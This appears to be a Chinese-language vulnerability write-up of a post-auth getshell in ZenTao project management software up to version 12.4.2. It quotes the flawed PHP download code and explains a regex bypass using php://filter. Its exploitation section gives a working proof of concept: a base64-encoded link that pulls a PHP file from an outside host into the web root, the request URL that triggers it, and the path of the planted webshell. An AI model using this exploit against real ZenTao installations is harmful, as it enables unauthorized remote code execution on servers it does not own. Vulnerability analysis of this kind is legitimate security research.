禅道<=12.4.2 后台getshell
2024-10-14 08:32:30

分析

zentaopms\module\client\control.php函数download

1
2
3
4
5
6
7
8
9
10
public function download($version = '', $link = '', $os = '')
{
set_time_limit(0);

$result = $this->client->downloadZipPackage($version, $link);
if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail));
$client = $this->client->edit($version, $result, $os);
if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError));
$this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse')));
}

接受三个参数,禅道的参数可以通过url路由直接传入进来,
跟进downloadZipPackage
首先会进入zentaopms\module\client\ext\model\xuanxuan.php中的downloadZipPackage$link进行base64解码后进行正则匹配

1
2
3
4
5
6
7
8
public function downloadZipPackage($version, $link)
{
$decodeLink = helper::safe64Decode($link);
if(preg_match('/^https?\:\/\//', $decodeLink)){ echo "fail"; return false;}
echo "regsuccess";
return parent::downloadZipPackage($version, $link);
}

匹配规则/^https?\:\/\//,禁止了传入link以http或者https开头,那么可以采用其他协议来进行绕过比如ftp或者php伪协议

匹配通过最后进入到zentaopms\module\client\model.php中的downloadZipPackage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public function downloadZipPackage($version, $link)
{
ignore_user_abort(true);
set_time_limit(0);
if(empty($version) || empty($link)) return false;
$dir = "data/client/" . $version . '/';
$link = helper::safe64Decode($link);
$file = basename($link);
if(!is_dir($this->app->wwwRoot . $dir))
{
mkdir($this->app->wwwRoot . $dir, 0755, true);
}
if(!is_dir($this->app->wwwRoot . $dir)) return false;
if(file_exists($this->app->wwwRoot . $dir . $file))
{
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
}
ob_clean();
ob_end_flush();

$local = fopen($this->app->wwwRoot . $dir . $file, 'w');
$remote = fopen($link, 'rb');
if($remote === false) return false;
while(!feof($remote))
{
$buffer = fread($remote, 4096);
fwrite($local, $buffer);
}
fclose($local);
fclose($remote);
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
}

流程就是来读取远程文件并写入到/www/data/$version/目录下保存文件名为原文件名,并未对后缀名进行限制,在禅道最新版中修复代码即是验证了文件名是否在白名单内
-w787

利用

1
$link = base64_encode("php://filter/read=string.toupper/resource=http://xxx/697ec6bd042242db968c8f27f398d7e5.php");

poc:

1
/index.php?m=client&f=download&version=1&link=base64code&os=win

-w1306
http://www/data/client/1/697ec6bd042242db968c8f27f398d7e5.php
-w1297

-w1614